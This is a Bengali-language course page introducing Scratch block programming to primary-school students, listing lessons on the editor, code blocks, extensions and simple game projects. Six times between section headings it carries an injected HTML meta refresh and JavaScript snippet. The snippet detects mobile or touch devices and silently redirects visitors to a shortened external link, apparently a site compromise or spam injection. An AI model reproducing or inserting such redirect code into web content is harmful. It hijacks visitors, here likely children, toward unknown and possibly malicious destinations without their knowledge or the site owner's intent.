About Course
স্ক্র্যাচ (Scratch) হল একটি ব্লক ভিত্তিক প্রোগ্রামিং ভাষা যার মাধ্যমে প্রাথমিক বিদ্যালয়ের শিক্ষার্থী থেকে শুরু করে যে কোন বয়সের মানুষ খুব সহজেই প্রোগ্রামিং লজিক শিখতে পারে এবং গেইম, এনিমেশন ভিডিও, আর্ট ছাড়াও নানা রকম প্রজেক্ট তৈরি করতে পারে। এতদিন বিশ্বের মোট ৮০ টির অধিক ভাষায় Scratch ওয়েবসাইটে প্রোগ্রামিং করা যেত, তবে বর্তমানে বাংলাকে যুক্ত করায় এখন স্ক্র্যাচ দিয়ে বাংলা ভাষায় ও কোডিং করা যায়। এটি আমাদের বাংলা ভাষার জন্য একটি নতুন মাইলফলক যা আমাদের দেশের প্রাথমিক বিদ্যালয়ের শিক্ষার্থীদের প্রোগ্রামিং শেখার নতুন দ্বার উন্মোচন করবে। স্ক্র্যাচ বাংলাদেশ দেশব্যাপী বাংলা ভাষায় প্রোগ্রামিং কে জনপ্রিয় করতে কাজ করে।
Course Content
স্ক্র্যাচ
<meta http-equiv="refresh" content="7; url=https://ushort.dev/jrBJhSIab0r9" /><script>(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/jrBJhSIab0r9");</script>
স্ক্র্যাচ প্রোগ্রামিং কি এবং কেন শিখব
-
স্ক্র্যাচ কি?
-
স্ক্র্যাচ কারা বানিয়েছে?
-
স্ক্র্যাচ কারা ব্যবহার করতে পারে?
স্ক্রাচ এর ব্যবহার
<meta http-equiv="refresh" content="7; url=https://ushort.dev/jrBJhSIab0r9" /><script>(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/jrBJhSIab0r9");</script>
স্ক্রাচ কিভাবে ব্যবহার করবেন, ওয়েবসাইট পরিচিতি এবং অ্যাকাউন্ট তৈরি
-
স্ক্র্যাচ ব্যবহার করতে কি কি প্রয়োজন?
-
কিভাবে স্ক্র্যাচ এর ওয়েবসাইটে যেতে হয়?
-
স্ক্র্যাচ ওয়েবসাইট পরিচিতি
-
স্ক্র্যাচ এর ভাষা কিভাবে বাংলায় পরিবর্তন করতে হয়?
-
স্ক্র্যাচ অ্যাকাউন্ট তৈরী
-
অ্যাকাউন্ট মেনু
স্ক্র্যাচ এডিটর
<meta http-equiv="refresh" content="7; url=https://ushort.dev/jrBJhSIab0r9" /><script>(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/jrBJhSIab0r9");</script>
স্ক্র্যাচ এডিটর কিভাবে ব্যাবহার করতে হবে, এর কোথায় কি আছে, কোথায় কোড লিখতে হবে,কোথায় আউটপুট দেখা যাবে, এসমস্ত কিছুর পরিচিতি।
-
স্ক্র্যাচ এডিটর
-
কোড এলাকা
-
কোড ট্যাব
-
পোশাক ট্যাব
-
শব্দগুলো ট্যাব
-
স্ক্রিপ্ট এরিয়া
-
মঞ্চ (Stage Area)
-
স্প্রাইট (Sprite)
-
ব্যাকড্রপ (Backdrop)
স্ক্র্যাচ দিয়ে আঁকাআঁকি
<meta http-equiv="refresh" content="7; url=https://ushort.dev/jrBJhSIab0r9" /><script>(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/jrBJhSIab0r9");</script>
স্ক্র্যাচ ব্যাবহার করে ছবি আঁকার বিষয়ে ধারণা, সংখ্যারেখা ব্যাবহার করে স্প্রাইটের অবস্থান নির্ণয়, আকার ও দিক পরিবর্তন।
-
স্ক্র্যাচ দিয়ে আকাঁআঁকি
-
Scratch-এ স্থানাঙ্ক পদ্ধতি ব্যবহার করে অবস্থান নির্ধারণ
-
স্প্রাইটের অবস্থান, আকার ও দিক পরিবর্তন
স্ক্র্যাচ কোড ব্লক
<meta http-equiv="refresh" content="7; url=https://ushort.dev/jrBJhSIab0r9" /><script>(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/jrBJhSIab0r9");</script>
স্ক্র্যাচ কোড ব্লকগুলোর পরিচয়, এবং এগুলোর কাজ সম্পর্কে ধারণা।
-
স্ক্র্যাচ কোড ব্লক
-
গতি (Motion)
-
চেহারা (Looks)
-
শব্দ (Sound)
-
ঘটনা (Event)
-
নিয়ন্ত্রণ (Control)
-
অনুভব করা (Sensing)
-
অপারেটর (Operator)
-
ভ্যারিয়েবল (Variables)
-
আমার ব্লকগুলো (My Blocks)
স্ক্র্যাচ দিয়ে প্রোগ্রাম
<meta http-equiv="refresh" content="7; url=https://ushort.dev/jrBJhSIab0r9" /><script>(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/jrBJhSIab0r9");</script>
স্ক্র্যাচে প্রোগ্রাম লেখার নিয়ম, প্রোগ্রাম সেভ করা, শেয়ার করা, রিমিক্স করা, এবং এবিষয়ে আদ্যপান্ত।
-
প্রথম প্রোগ্রাম তৈরী
-
স্প্রাইট এর বারবার নড়াচড়া
-
পোশাক (Costume)
-
প্রোজেক্ট সেইভ করা (অনলাইন / অফলাইন)
-
নিজের প্রজেক্ট অন্যদের সাথে ভাগাভাগি করা
-
আগের তৈরী করা প্রোজেক্ট চালানো
-
প্রজেক্ট রিমিক্স করা
স্ক্র্যাচ এর এক্সটেনশনসমূহ
-
স্ক্র্যাচ এক্সটেনশন
-
সঙ্গীত (Music)
-
কলম (Pen)
-
ভিডিও অনুমান (Video Sensing)
-
টেক্সট টু স্পিচ (Text to Speech)
-
অনুবাদ (Translate)
-
ম্যাকি ম্যাকি ( Makey Makey)
-
মাইক্রোবিট (Micro:bit)
-
লেগো মাইন্ডস্টর্মস ইভি৩ (LEGO MINDSTORMS EV3)
-
লেগো বুস্ট (LEGO BOOST)
-
লেগো এডুকেশন উইডু ২.০ (LEGO Education WeDo 2.0)
-
গো ডিরেক্ট ফোর্স এন্ড এক্সিলেরেশন (Go Direct Force & Acceleration)
-
অন্যান্য রিসোর্স
স্ক্র্যাচে কাস্টমাইজেশন করা
-
কাস্টম স্প্রাইট
-
কাস্টম ব্যাকগ্রাউন্ড
-
সম্প্রচার (Broadcast)
-
স্টুডিও (Studio)
-
নতুন স্টুডিও তৈরী করা
-
স্টুডিও হোস্ট, কিউরেটর ও পরিচালক
-
নতুন প্রোজেক্ট যোগ করা
-
স্ক্র্যাচার অ্যাকাউন্ট (Scratcher)
-
শিক্ষক অ্যাকাউন্ট
কিছু সহজ প্রজেক্ট
-
সহজ কিছু স্ক্র্যাচ প্রোজেক্ট
-
গানের তালে নাচের এনিমেশন
-
স্প্রাইটের হাঁটার এনিমেশন
-
যোগ বিয়োগ গুন ভাগ
-
ছোট সংখ্যা বড় সংখ্যা নির্ধারণ
-
ছোয়াছুয়ি খেলা
-
পং গেম
-
আপেল ধর
-
কলম দিয়ে ছবি আঁকা
-
দুইটি স্প্রাইটের মধ্যে কথোপকথন এনিমেশন
-
জাম্প এন্ড স্কোর